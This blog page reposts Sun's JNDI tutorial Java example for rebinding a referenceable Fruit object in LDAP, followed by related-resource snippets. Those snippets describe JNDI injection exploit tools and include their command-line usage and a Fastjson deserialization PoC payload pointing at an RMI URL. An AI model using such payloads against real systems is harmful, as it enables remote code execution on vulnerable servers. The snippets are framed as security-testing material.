`
starbhhc
  • 浏览: 654707 次
  • 性别: Icon_minigender_2
  • 来自: 深圳
社区版块
存档分类
最新评论

JNDI/LDAP - 重写一个已存在的绑定

阅读更多
/*  
* Copyright (c) 1995 - 2008 Sun Microsystems, Inc.  All rights reserved.  
*  
* Redistribution and use in source and binary forms, with or without  
* modification, are permitted provided that the following conditions  
* are met:  
*  
*   - Redistributions of source code must retain the above copyright  
*     notice, this list of conditions and the following disclaimer.  
*  
*   - Redistributions in binary form must reproduce the above copyright  
*     notice, this list of conditions and the following disclaimer in the  
*     documentation and/or other materials provided with the distribution.  
*  
*   - Neither the name of Sun Microsystems nor the names of its  
*     contributors may be used to endorse or promote products derived  
*     from this software without specific prior written permission.  
*  
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS  
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,  
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR  
* PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR  
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,  
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,  
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR  
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF  
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING  
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS  
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  
*/  
  
import java.util.Hashtable;   
  
import javax.naming.Context;   
import javax.naming.InitialContext;   
import javax.naming.Name;   
import javax.naming.NamingException;   
import javax.naming.RefAddr;   
import javax.naming.Reference;   
import javax.naming.Referenceable;   
import javax.naming.StringRefAddr;   
import javax.naming.spi.ObjectFactory;   
  
/**  
* Demonstrates how to overwrite an existing binding. (Use after Bind example;  
* Use Unbind to remove binding).  
*   
* usage: java Rebind  
*/  
class Rebind {   
  public static void main(String[] args) {   
  
    // Set up the environment for creating the initial context   
    Hashtable<String, Object> env = new Hashtable<String, Object>(11);   
    env   
        .put(Context.INITIAL_CONTEXT_FACTORY,   
            "com.sun.jndi.ldap.LdapCtxFactory");   
    env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");   
  
    try {   
      // Create the initial context   
      Context ctx = new InitialContext(env);   
  
      // Create the object to be bound   
      Fruit fruit = new Fruit("lemon");   
  
      // Perform the bind   
      ctx.rebind("cn=Favorite Fruit", fruit);   
  
      // Check that it is bound   
      Object obj = ctx.lookup("cn=Favorite Fruit");   
      System.out.println(obj);   
  
      // Close the context when we're done   
      ctx.close();   
    } catch (NamingException e) {   
      System.out.println("Operation failed: " + e);   
    }   
  }   
}   
  
/*  
* Copyright (c) 1995 - 2008 Sun Microsystems, Inc. All rights reserved.  
*   
* Redistribution and use in source and binary forms, with or without  
* modification, are permitted provided that the following conditions are met:  
*  - Redistributions of source code must retain the above copyright notice,  
* this list of conditions and the following disclaimer.  
*  - Redistributions in binary form must reproduce the above copyright notice,  
* this list of conditions and the following disclaimer in the documentation  
* and/or other materials provided with the distribution.  
*  - Neither the name of Sun Microsystems nor the names of its contributors may  
* be used to endorse or promote products derived from this software without  
* specific prior written permission.  
*   
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE  
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
* POSSIBILITY OF SUCH DAMAGE.  
*/  
  
/**  
* This class is used by the Bind example. It is a referenceable class that can  
* be stored by service providers like the LDAP and file system providers.  
*/  
class Fruit implements Referenceable {   
  String fruit;   
  
  public Fruit(String f) {   
    fruit = f;   
  }   
  
  public Reference getReference() throws NamingException {   
  
    return new Reference(Fruit.class.getName(), new StringRefAddr("fruit",   
        fruit), FruitFactory.class.getName(), null); // factory location   
  }   
  
  public String toString() {   
    return fruit;   
  }   
}   
  
/*  
* Copyright (c) 1995 - 2008 Sun Microsystems, Inc. All rights reserved.  
*   
* Redistribution and use in source and binary forms, with or without  
* modification, are permitted provided that the following conditions are met:  
*  - Redistributions of source code must retain the above copyright notice,  
* this list of conditions and the following disclaimer.  
*  - Redistributions in binary form must reproduce the above copyright notice,  
* this list of conditions and the following disclaimer in the documentation  
* and/or other materials provided with the distribution.  
*  - Neither the name of Sun Microsystems nor the names of its contributors may  
* be used to endorse or promote products derived from this software without  
* specific prior written permission.  
*   
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE  
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
* POSSIBILITY OF SUCH DAMAGE.  
*/  
  
/**  
* This is an object factory that when given a reference for a Fruit object,  
* will create an instance of the corresponding Fruit.  
*/  
class FruitFactory implements ObjectFactory {   
  
  public FruitFactory() {   
  }   
  
  public Object getObjectInstance(Object obj, Name name, Context ctx,   
      Hashtable<?, ?> env) throws Exception {   
  
    if (obj instanceof Reference) {   
      Reference ref = (Reference) obj;   
  
      if (ref.getClassName().equals(Fruit.class.getName())) {   
        RefAddr addr = ref.get("fruit");   
        if (addr != null) {   
          return new Fruit((String) addr.getContent());   
        }   
      }   
    }   
    return null;   
  }   
}   
  
分享到:
评论

相关推荐

    JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip

    在压缩包中有一个文件名为 "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar",这很可能是一个Java可执行的jar文件,其中封装了用于演示JNDI注入攻击或者进行安全测试的代码。用户可以通过运行这个jar文件来触发或者...

    JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/...

    jndi-JNDI-Injection-Exploit

    (可选项 , 默认地址是第一个网卡地址) 注意: 要确保 1099、1389、8180端口可用,不被其他程序占用。 或者你也可以在run.ServerStart类26~28行更改默认端口。 命令会被作为参数传入Runtime.getRuntime().exec(),...

    com.sun.jndi.ldap.jar

    JNDI是一个接口,提供了一种标准的方式来访问命名和目录服务,而LDAP则是一种网络协议,常用于存储和查询用户账户、组信息、配置数据等结构化信息。 JNDI的主要作用是将Java应用程序与各种不同的命名和目录服务连接...

    JNDI-Injection-Exploit-1.0-SNAPSHOT-all

    该压缩包"JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"可能包含了一个JNDI注入攻击的示例或者测试工具,"SNAPSHOT"通常表示这是一个开发中的版本,可能尚未经过完整测试,因此可能存在漏洞或不稳定性。使用这样的...

    JNDI-Inject-Exploit

    # JNDI-Inject-Exploit ## 免责声明 本工具仅面向**合法授权的企业安全测试**,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的...

    jndi-1_2_1.zip_jndi_jndi-1.2.1.jar

    标题中的"jndi-1_2_1.zip_jndi_jndi-1.2.1.jar"表明这是一个关于JNDI的版本1.2.1的开源软件包,其中包含了一个名为"jndi-1.2.1.jar"的JAR文件。这个JAR文件包含了JNDI库的所有实现,使得开发者可以在他们的Java项目...

    AD系统安装配置指南(JAVA-JNDI-LDAP-Exchange).part2.rar

    AD ldap java集成

    AD系统安装配置指南(JAVA-JNDI-LDAP-Exchange).part1

    集成配置与集成AD以及LDAP

    JNDI访问LDAP

    **JNDI(Java Naming and Directory Interface)**是Java平台中的一个标准API,它允许Java应用程序访问各种命名和目录服务,如LDAP(Lightweight Directory Access Protocol)。在Java应用中,JNDI通常用于管理和...

    jdbc-ldap-2.1.tar.gz

    props.setProperty("java.naming.provider.url", "ldap://ldap-server:389"); props.setProperty("java.naming.security.authentication", "simple"); props.setProperty("user", "admin"); props.setProperty(...

    JNDI-Injection-Exploit:JNDI注入测试工具(生成JNDI链接的工具可以启动多个服务器来利用JNDI Injection漏洞,例如Jackson,Fastjson等)

    例如,这是一个Fastjson vul-poc: { " @type " : " com.sun.rowset.JdbcRowSetImpl " , " dataSourceName " : " rmi://127.0.0.1:1099/Object " , " autoCommit " : true } 我们可以用JNDI-Injection-Exploit...

    jndi.zip_java ldap_jndi_jndi ldap_ldap_ldap java

    在本案例中,我们关注的是JNDI与Lightweight Directory Access Protocol (LDAP) 的结合使用,这是一个广泛应用于分布式环境中的目录服务协议。通过JNDI,Java开发者可以方便地与LDAP服务器进行交互,实现诸如连接、...

    rmi-jndi-ldap-jrmp-jmx-jms:rmi,jndi,ldap,jrmp,jmx,jms一些演示测试

    在“rmi-jndi-ldap-jrmp-jmx-jms”这个项目中,可能包含了对这些技术的实际应用和测试代码。开发者可能创建了各种示例,如RMI服务端和客户端的交互,JNDI查找和绑定对象到LDAP目录,JRMP的远程调用,JMX监控应用程序...

    基于JavaJNDI的LDAP Demo

    基于Java JNDI 操纵LDAP的基础实现,包括LDAP连接相关生命周期,认证的两种策略demo,条目的操作,schema的基础操作包括(attributeDefinition\objectDefinition\)但未包含相关syntaxDefinition的操纵. 没有资源分的朋友...

    js学习.txt

    &lt;jdbc-driver-params&gt; ... &lt;jndi-name&gt;dfdatasource&lt;/jndi-name&gt; &lt;global-transactions-protocol&gt;OnePhaseCommit&lt;/global-transactions-protocol&gt; &lt;/jdbc-data-source-params&gt; &lt;/jdbc-data-source&gt;

    ldap-master.zip

    标题"ldap-master.zip"表明这是一个关于LDAP的项目或教程的压缩包,可能包含了完整的示例代码、配置文件或者相关资源,用于帮助用户深入理解和操作LDAP。 描述中的"亲测可用"意味着这个压缩包提供的内容已经有人...

    import com.sun.jndi.ldap.ctl.VirtualListViewControl;

    import com.sun.jndi.ldap.ctl.VirtualListViewControl;

Global site tag (gtag.js) - Google Analytics